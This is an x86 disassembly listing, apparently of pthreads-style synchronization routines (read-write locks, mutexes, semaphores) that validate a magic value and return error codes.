mov eax, esi
pop esi
mov [edx], ecx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_431B02: ; CODE XREF: sub_431AC0+1Fj
mov eax, 0Bh
pop esi
add esp, 8
retn
sub_431AC0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431B30 proc near ; CODE XREF: sub_40184Dj
arg_0 = dword ptr 4
push esi
push offset dword_50E980
xor esi, esi
nop
call near ptr 7C901005h
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_431B64
push esi
push ecx
call sub_401F73
add esp, 8
mov esi, eax
push offset dword_50E980
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431B64: ; CODE XREF: sub_431B30+17j
test eax, eax
jnz short loc_431B6D
mov esi, 16h
loc_431B6D: ; CODE XREF: sub_431B30+36j
push offset dword_50E980
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_431B30 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431BA0 proc near ; CODE XREF: sub_401852j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+14h]
lea ecx, [esi+4]
neg eax
push ecx
mov [esi+0Ch], eax
mov dword ptr [esi+14h], 0
call sub_4010C3
push esi
call sub_4010C3
add esp, 8
pop esi
retn
sub_431BA0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431BE0 proc near ; CODE XREF: sub_401F73j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
xor esi, esi
test eax, eax
jnz short loc_431BF2
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_431BF2: ; CODE XREF: sub_431BE0+9j
mov eax, [esp+4+arg_4]
push ebx
test eax, eax
push edi
jz short loc_431C12
cmp dword ptr [eax], 0
jz short loc_431C12
mov ecx, [esp+0Ch+arg_0]
mov edi, 16h
mov eax, edi
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_431C12: ; CODE XREF: sub_431BE0+1Aj
; sub_431BE0+1Fj
push 1Ch
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_431C36
mov ecx, [esp+0Ch+arg_0]
mov edi, 0Ch
mov eax, edi
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_431C36: ; CODE XREF: sub_431BE0+43j
push 0
push esi
mov dword ptr [esi+0Ch], 0
mov dword ptr [esi+10h], 0
mov dword ptr [esi+14h], 0
call sub_402199
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_431C94
lea ebx, [esi+4]
push eax
push ebx
call sub_402199
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_431C8B
push eax
lea eax, [esi+8]
push eax
call sub_401541
mov edi, eax
add esp, 8
test edi, edi
jz short loc_431CAC
push ebx
call sub_40222F
add esp, 4
loc_431C8B: ; CODE XREF: sub_431BE0+8Dj
push esi
call sub_40222F
add esp, 4
loc_431C94: ; CODE XREF: sub_431BE0+7Aj
push esi
nop
call near ptr 77C2C21Bh
mov ecx, [esp+10h+arg_0]
add esp, 4
xor esi, esi
mov eax, edi
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_431CAC: ; CODE XREF: sub_431BE0+A0j
mov ecx, [esp+0Ch+arg_0]
xor edi, edi
mov eax, edi
mov dword ptr [esi+18h], 0FACADE2h
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
sub_431BE0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431D10: ; CODE XREF: ___:004018ACj
mov eax, [esp+4]
push ebx
push ebp
push esi
push edi
xor ebx, ebx
xor edi, edi
xor ebp, ebp
test eax, eax
jz loc_431E4B
mov esi, [eax]
test esi, esi
jz loc_431E4B
cmp esi, 0FFFFFFFFh
jz loc_431E07
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_431E4B
push esi
call sub_402225
add esp, 4
test eax, eax
jnz loc_431E50
lea edi, [esi+4]
push edi
call sub_402225
mov ebx, eax
add esp, 4
test ebx, ebx
jz short loc_431D79
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431D79: ; CODE XREF: ___:00431D67j
mov eax, [esi+10h]
test eax, eax
jg short loc_431DED
mov eax, [esi+0Ch]
mov ecx, [esi+14h]
cmp eax, ecx
jg short loc_431DED
push edi
mov dword ptr [esi+18h], 0
call sub_4010C3
add esp, 4
mov ebx, eax
test ebx, ebx
push esi
jz short loc_431DB0
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431DB0: ; CODE XREF: ___:00431D9Fj
call sub_4010C3
add esp, 4
test eax, eax
jnz loc_431E50
mov ecx, [esp+14h]
lea edx, [esi+8]
push edx
mov [ecx], eax
call sub_401A91
push edi
mov ebx, eax
call sub_40222F
push esi
mov edi, eax
call sub_40222F
push esi
mov ebp, eax
nop
call near ptr 77C2C21Bh
add esp, 10h
jmp short loc_431E33
; ---------------------------------------------------------------------------
loc_431DED: ; CODE XREF: ___:00431D7Ej
; ___:00431D88j
push edi
call sub_4010C3
push esi
mov ebx, eax
call sub_4010C3
add esp, 8
mov edi, eax
mov ebp, 10h
jmp short loc_431E33
; ---------------------------------------------------------------------------
loc_431E07: ; CODE XREF: ___:00431D33j
push offset dword_50E980
call near ptr 7C901005h
nop
mov eax, [esp+14h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_431E23
mov dword ptr [eax], 0
jmp short loc_431E28
; ---------------------------------------------------------------------------
loc_431E23: ; CODE XREF: ___:00431E19j
mov ebx, 10h
loc_431E28: ; CODE XREF: ___:00431E21j
push offset dword_50E980
call near ptr 7C9010EDh
nop
loc_431E33: ; CODE XREF: ___:00431DEBj
; ___:00431E05j
test ebx, ebx
jz short loc_431E3E
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431E3E: ; CODE XREF: ___:00431E35j
test edi, edi
mov eax, edi
jnz short loc_431E50
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431E4B: ; CODE XREF: ___:00431D20j
; ___:00431D2Aj ...
mov eax, 16h
loc_431E50: ; CODE XREF: ___:00431D51j
; ___:00431DBAj ...
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431EC0: ; CODE XREF: ___:00401E88j
push esi
push 4
push 1
xor esi, esi
nop
call near ptr 77C2C0C3h
add esp, 8
test eax, eax
jnz short loc_431EE3
mov edx, [esp+8]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_431EE3: ; CODE XREF: ___:00431ED2j
mov ecx, [esp+8]
mov dword ptr [eax], 0
mov [ecx], eax
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431F10: ; CODE XREF: ___:00401794j
mov ecx, [esp+4]
push esi
xor esi, esi
test ecx, ecx
jz short loc_431F31
mov eax, [ecx]
test eax, eax
jz short loc_431F31
push eax
mov [ecx], esi
call near ptr 77C2C21Bh
nop
add esp, 4
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431F31: ; CODE XREF: ___:00431F19j
; ___:00431F1Fj
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431F50: ; CODE XREF: ___:00401136j
mov eax, [esp+4]
test eax, eax
jz short loc_431F6D
mov eax, [eax]
test eax, eax
jz short loc_431F6D
mov ecx, [esp+8]
test ecx, ecx
jz short loc_431F6D
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_431F6D: ; CODE XREF: ___:00431F56j
; ___:00431F5Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431F90: ; CODE XREF: ___:0040159Bj
mov eax, [esp+4]
test eax, eax
jz short loc_431FBA
mov ecx, [eax]
test ecx, ecx
jz short loc_431FBA
mov eax, [esp+8]
cmp eax, 1
jz short loc_431FAE
test eax, eax
jnz short loc_431FBA
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_431FAE: ; CODE XREF: ___:00431FA5j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_431FBA: ; CODE XREF: ___:00431F96j
; ___:00431F9Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431FD0: ; CODE XREF: ___:00402077j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_43208A
mov eax, [esi]
test eax, eax
jz loc_43208A
cmp eax, 0FFFFFFFFh
jnz short loc_432004
push esi
call sub_40184D
add esp, 4
test eax, eax
jz short loc_432004
cmp eax, 10h
jnz loc_43208F
loc_432004: ; CODE XREF: ___:00431FECj
; ___:00431FF9j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz short loc_43208A
push esi
call sub_402225
add esp, 4
test eax, eax
jnz short loc_43208F
mov ecx, [esi+0Ch]
inc ecx
mov eax, ecx
mov [esi+0Ch], ecx
cmp eax, 7FFFFFFFh
jnz short loc_43207D
lea edi, [esi+4]
push edi
call sub_402225
mov ebx, eax
add esp, 4
test ebx, ebx
jz short loc_43204D
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43204D: ; CODE XREF: ___:0043203Cj
mov eax, [esi+14h]
mov ebx, [esi+0Ch]
sub ebx, eax
push edi
mov [esi+0Ch], ebx
mov dword ptr [esi+14h], 0
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jz short loc_43207D
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43207D: ; CODE XREF: ___:0043202Aj
; ___:0043206Cj
push esi
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43208A: ; CODE XREF: ___:00431FD9j
; ___:00431FE3j ...
mov eax, 16h
loc_43208F: ; CODE XREF: ___:00431FFEj
; ___:0043201Aj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4320E0: ; CODE XREF: ___:0040169Aj
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_4321AF
mov eax, [esi]
test eax, eax
jz loc_4321AF
cmp eax, 0FFFFFFFFh
jnz short loc_432114
push esi
call sub_40184D
add esp, 4
test eax, eax
jz short loc_432114
cmp eax, 10h
jnz loc_4321B4
loc_432114: ; CODE XREF: ___:004320FCj
; ___:00432109j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_4321AF
mov ebx, [esp+14h]
push ebx
push esi
call sub_401BC2
add esp, 8
test eax, eax
jnz short loc_4321B4
mov ecx, [esi+0Ch]
inc ecx
mov eax, ecx
mov [esi+0Ch], ecx
cmp eax, 7FFFFFFFh
jnz short loc_4321A2
lea edi, [esi+4]
push ebx
push edi
call sub_401BC2
mov ebx, eax
add esp, 8
test ebx, ebx
jz short loc_432172
cmp ebx, 274Ch
jnz short loc_432163
inc dword ptr [esi+14h]
loc_432163: ; CODE XREF: ___:0043215Ej
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432172: ; CODE XREF: ___:00432156j
mov eax, [esi+14h]
mov ebx, [esi+0Ch]
sub ebx, eax
push edi
mov [esi+0Ch], ebx
mov dword ptr [esi+14h], 0
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jz short loc_4321A2
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4321A2: ; CODE XREF: ___:00432143j
; ___:00432191j
push esi
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4321AF: ; CODE XREF: ___:004320E9j
; ___:004320F3j ...
mov eax, 16h
loc_4321B4: ; CODE XREF: ___:0043210Ej
; ___:00432133j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432200: ; CODE XREF: ___:004015C8j
sub esp, 0Ch
push ebp
push esi
mov esi, [esp+18h]
push edi
test esi, esi
jz loc_4322F6
mov eax, [esi]
test eax, eax
jz loc_4322F6
cmp eax, 0FFFFFFFFh
jnz short loc_432237
push esi
call sub_40184D
add esp, 4
test eax, eax
jz short loc_432237
cmp eax, 10h
jnz loc_4322FB
loc_432237: ; CODE XREF: ___:0043221Fj
; ___:0043222Cj
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_4322F6
push esi
call sub_402225
add esp, 4
test eax, eax
jnz loc_4322FB
lea ebp, [esi+4]
push ebp
call sub_402225
mov edi, eax
add esp, 4
test edi, edi
jz short loc_43227B
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_43227B: ; CODE XREF: ___:00432267j
mov eax, [esi+10h]
test eax, eax
jnz short loc_4322EA
mov eax, [esi+14h]
test eax, eax
jle short loc_432298
mov ecx, [esi+0Ch]
mov dword ptr [esi+14h], 0
sub ecx, eax
mov [esi+0Ch], ecx
loc_432298: ; CODE XREF: ___:00432287j
mov eax, [esi+0Ch]
test eax, eax
jle short loc_4322EA
neg eax
push ebx
mov [esi+14h], eax
push esi
lea eax, [esp+14h]
push offset sub_401852
push eax
call sub_401659
; ---------------------------------------------------------------------------
add esp, 0Ch
lea ebx, [esi+8]
loc_4322BB: ; CODE XREF: ___:004322D0j
push ebp
push ebx
call sub_401203
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_4322D2
mov eax, [esi+14h]
test eax, eax
jl short loc_4322BB
loc_4322D2: ; CODE XREF: ___:004322C9j
xor ecx, ecx
test edi, edi
setnz cl
push ecx
call sub_401122
; ---------------------------------------------------------------------------
add esp, 4
test edi, edi
pop ebx
jnz short loc_4322ED
mov [esi+0Ch], edi
loc_4322EA: ; CODE XREF: ___:00432280j
; ___:0043229Dj
inc dword ptr [esi+10h]
loc_4322ED: ; CODE XREF: ___:004322E5j
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_4322F6: ; CODE XREF: ___:0043220Cj
; ___:00432216j ...
mov eax, 16h
loc_4322FB: ; CODE XREF: ___:00432231j
; ___:00432251j
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432360: ; CODE XREF: ___:00401951j
sub esp, 0Ch
push ebp
push esi
mov esi, [esp+18h]
push edi
test esi, esi
jz loc_432461
mov eax, [esi]
test eax, eax
jz loc_432461
cmp eax, 0FFFFFFFFh
jnz short loc_432397
push esi
call sub_40184D
add esp, 4
test eax, eax
jz short loc_432397
cmp eax, 10h
jnz loc_432466
loc_432397: ; CODE XREF: ___:0043237Fj
; ___:0043238Cj
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_432461
mov edi, [esp+20h]
push edi
push esi
call sub_401BC2
add esp, 8
test eax, eax
jnz loc_432466
lea ebp, [esi+4]
push edi
push ebp
call sub_401BC2
mov edi, eax
add esp, 8
test edi, edi
jz short loc_4323E1
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_4323E1: ; CODE XREF: ___:004323CDj
mov eax, [esi+10h]
test eax, eax
jnz short loc_432455
mov eax, [esi+14h]
test eax, eax
jle short loc_4323FE
mov ecx, [esi+0Ch]
mov dword ptr [esi+14h], 0
sub ecx, eax
mov [esi+0Ch], ecx
loc_4323FE: ; CODE XREF: ___:004323EDj
mov eax, [esi+0Ch]
test eax, eax
jle short loc_432455
neg eax
push ebx
mov [esi+14h], eax
push esi
lea eax, [esp+14h]
push offset sub_401852
push eax
call sub_401659
; ---------------------------------------------------------------------------
add esp, 0Ch
lea ebx, [esi+8]
loc_432421: ; CODE XREF: ___:0043243Bj
mov ecx, [esp+24h]
push ecx
push ebp
push ebx
call sub_4011E0
mov edi, eax
add esp, 0Ch
test edi, edi
jnz short loc_43243D
mov eax, [esi+14h]
test eax, eax
jl short loc_432421
loc_43243D: ; CODE XREF: ___:00432434j
xor edx, edx
test edi, edi
setnz dl
push edx
call sub_401122
; ---------------------------------------------------------------------------
add esp, 4
test edi, edi
pop ebx
jnz short loc_432458
mov [esi+0Ch], edi
loc_432455: ; CODE XREF: ___:004323E6j
; ___:00432403j
inc dword ptr [esi+10h]
loc_432458: ; CODE XREF: ___:00432450j
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_432461: ; CODE XREF: ___:0043236Cj
; ___:00432376j ...
mov eax, 16h
loc_432466: ; CODE XREF: ___:00432391j
; ___:004323B6j
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4324C0: ; CODE XREF: ___:004015BEj
mov eax, [esp+4]
push ebx
push esi
push edi
test eax, eax
jz short loc_432546
mov esi, [eax]
test esi, esi
jz short loc_432546
cmp esi, 0FFFFFFFFh
jnz short loc_4324DC
pop edi
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4324DC: ; CODE XREF: ___:004324D4j
cmp dword ptr [esi+18h], 0FACADE2h
jnz short loc_432546
mov eax, [esi+10h]
test eax, eax
jnz short loc_432524
lea ebx, [esi+4]
push ebx
call sub_402225
mov edi, eax
add esp, 4
test edi, edi
jz short loc_432502
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432502: ; CODE XREF: ___:004324FCj
mov eax, [esi+14h]
inc eax
mov [esi+14h], eax
jnz short loc_432519
add esi, 8
push esi
call sub_401E51
add esp, 4
mov edi, eax
loc_432519: ; CODE XREF: ___:00432509j
push ebx
call sub_4010C3
add esp, 4
jmp short loc_43253C
; ---------------------------------------------------------------------------
loc_432524: ; CODE XREF: ___:004324EAj
dec eax
mov [esi+10h], eax
lea eax, [esi+4]
push eax
call sub_4010C3
push esi
mov edi, eax
call sub_4010C3
add esp, 8
loc_43253C: ; CODE XREF: ___:00432522j
test edi, edi
jz short loc_43254B
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432546: ; CODE XREF: ___:004324C9j
; ___:004324CFj ...
mov eax, 16h
loc_43254B: ; CODE XREF: ___:0043253Ej
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432580: ; CODE XREF: ___:00401532j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_43263A
mov eax, [esi]
test eax, eax
jz loc_43263A
cmp eax, 0FFFFFFFFh
jnz short loc_4325B4
push esi
call sub_40184D
add esp, 4
test eax, eax
jz short loc_4325B4
cmp eax, 10h
jnz loc_43263F
loc_4325B4: ; CODE XREF: ___:0043259Cj
; ___:004325A9j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz short loc_43263A
push esi
call sub_40177B
add esp, 4
test eax, eax
jnz short loc_43263F
mov ecx, [esi+0Ch]
inc ecx
mov eax, ecx
mov [esi+0Ch], ecx
cmp eax, 7FFFFFFFh
jnz short loc_43262D
lea edi, [esi+4]
push edi
call sub_402225
mov ebx, eax
add esp, 4
test ebx, ebx
jz short loc_4325FD
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4325FD: ; CODE XREF: ___:004325ECj
mov eax, [esi+14h]
mov ebx, [esi+0Ch]
sub ebx, eax
push edi
mov [esi+0Ch], ebx
mov dword ptr [esi+14h], 0
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jz short loc_43262D
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43262D: ; CODE XREF: ___:004325DAj
; ___:0043261Cj
push esi
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43263A: ; CODE XREF: ___:00432589j
; ___:00432593j ...
mov eax, 16h
loc_43263F: ; CODE XREF: ___:004325AEj
; ___:004325CAj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432690: ; CODE XREF: ___:00401FD2j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_432771
mov eax, [esi]
test eax, eax
jz loc_432771
cmp eax, 0FFFFFFFFh
jnz short loc_4326C4
push esi
call sub_40184D
add esp, 4
test eax, eax
jz short loc_4326C4
cmp eax, 10h
jnz loc_432776
loc_4326C4: ; CODE XREF: ___:004326ACj
; ___:004326B9j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_432771
push esi
call sub_40177B
add esp, 4
test eax, eax
jnz loc_432776
lea ebx, [esi+4]
push ebx
call sub_40177B
mov edi, eax
add esp, 4
test edi, edi
jz short loc_432709
push esi
call sub_4010C3
add esp, 4
test eax, eax
jnz short loc_432776
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432709: ; CODE XREF: ___:004326F4j
mov eax, [esi+10h]
test eax, eax
jnz short loc_432759
mov eax, [esi+14h]
test eax, eax
jle short loc_432726
mov ecx, [esi+0Ch]
mov dword ptr [esi+14h], 0
sub ecx, eax
mov [esi+0Ch], ecx
loc_432726: ; CODE XREF: ___:00432715j
mov eax, [esi+0Ch]
test eax, eax
jle short loc_432764
push ebx
call sub_4010C3
add esp, 4
mov edi, eax
test edi, edi
push esi
jz short loc_43274B
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43274B: ; CODE XREF: ___:0043273Bj
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_43275E
loc_432759: ; CODE XREF: ___:0043270Ej
mov edi, 10h
loc_43275E: ; CODE XREF: ___:00432757j
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432764: ; CODE XREF: ___:0043272Bj
mov eax, edi
mov dword ptr [esi+10h], 1
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432771: ; CODE XREF: ___:00432699j
; ___:004326A3j ...
mov eax, 16h
loc_432776: ; CODE XREF: ___:004326BEj
; ___:004326DEj ...
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4327C0: ; CODE XREF: ___:00401BF9j
mov eax, [esp+4]
push eax
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_4327D7
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_4327D7: ; CODE XREF: ___:004327CFj
mov eax, [esp+8]
neg eax
sbb eax, eax
and eax, 30h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432800: ; CODE XREF: ___:00401E97j
mov eax, [esp+4]
push eax
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_432827
mov eax, [esp+8]
test eax, eax
jz short loc_432827
cmp eax, 2
jbe short loc_432827
mov dword ptr [eax], 0
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_432827: ; CODE XREF: ___:0043280Fj
; ___:00432817j ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432840: ; CODE XREF: ___:0040117Cj
push ebx
mov ebx, [esp+8]
push esi
push edi
push ebx
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_432886
mov edi, [esp+14h]
test edi, edi
jz short loc_432886
mov esi, [edi]
push eax
call sub_40154B
add esp, 4
cmp esi, eax
jl short loc_432886
push 0
call sub_401438
add esp, 4
cmp esi, eax
jg short loc_432886
mov eax, [ebx]
mov ecx, [edi]
pop edi
pop esi
mov [eax+10h], ecx
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432886: ; CODE XREF: ___:00432852j
; ___:0043285Aj ...
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4328B0: ; CODE XREF: ___:00401EDDj
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_4328D5
mov eax, [esp+0Ch]
test eax, eax
jz short loc_4328D5
mov ecx, [esi]
pop esi
mov edx, [ecx+10h]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4328D5: ; CODE XREF: ___:004328C0j
; ___:004328C8j
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4328F0: ; CODE XREF: ___:004015B4j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_432909
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_432909: ; CODE XREF: ___:00432900j
mov eax, [esp+0Ch]
test eax, eax
jz short loc_43291D
cmp eax, 1
jz short loc_43291D
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_43291D: ; CODE XREF: ___:0043290Fj
; ___:00432914j
mov ecx, [esi]
pop esi
mov [ecx+14h], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432940: ; CODE XREF: ___:004019D8j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_432965
mov eax, [esp+0Ch]
test eax, eax
jz short loc_432965
mov ecx, [esi]
pop esi
mov edx, [ecx+14h]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_432965: ; CODE XREF: ___:00432950j
; ___:00432958j
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432980 proc near ; CODE XREF: sub_401050j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push 0
push esi
call sub_401758
add esp, 8
test eax, eax
jnz short loc_4329C5
mov eax, [esp+4+arg_4]
test eax, eax
jl short loc_4329C0
cmp eax, 2
jg short loc_4329C0
test eax, eax
jz short loc_4329AC
mov eax, 30h
pop esi
retn
; ---------------------------------------------------------------------------
loc_4329AC: ; CODE XREF: sub_432980+23j
mov eax, [esp+4+arg_8]
mov ecx, [eax]
push ecx
push 0
push esi
call sub_4020B3
add esp, 0Ch
pop esi
retn
; ---------------------------------------------------------------------------
loc_4329C0: ; CODE XREF: sub_432980+1Aj
; sub_432980+1Fj
mov eax, 16h
loc_4329C5: ; CODE XREF: sub_432980+12j
pop esi
retn
sub_432980 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4329F0 proc near ; CODE XREF: sub_4020B3j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
mov edi, [esp+8+arg_4]
push edi
mov [esp+0Ch+arg_8], esi
call sub_40154B
add esp, 4
cmp esi, eax
jl loc_432A95
push edi
call sub_401438
add esp, 4
cmp esi, eax
jg short loc_432A95
cmp esi, 0FFFFFFF1h
jle short loc_432A30
cmp esi, 0FFFFFFFEh
jge short loc_432A30
mov [esp+8+arg_8], 0FFFFFFFEh
jmp short loc_432A42
; ---------------------------------------------------------------------------
loc_432A30: ; CODE XREF: sub_4329F0+2Fj
; sub_4329F0+34j
cmp esi, 0Fh
jge short loc_432A42
cmp esi, 2
jle short loc_432A42
mov [esp+8+arg_8], 2
loc_432A42: ; CODE XREF: sub_4329F0+3Ej
; sub_4329F0+43j ...
mov edi, [esp+8+arg_0]
push ebx
push ebp
lea ebp, [edi+24h]
push ebp
call sub_402225
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_432A8E
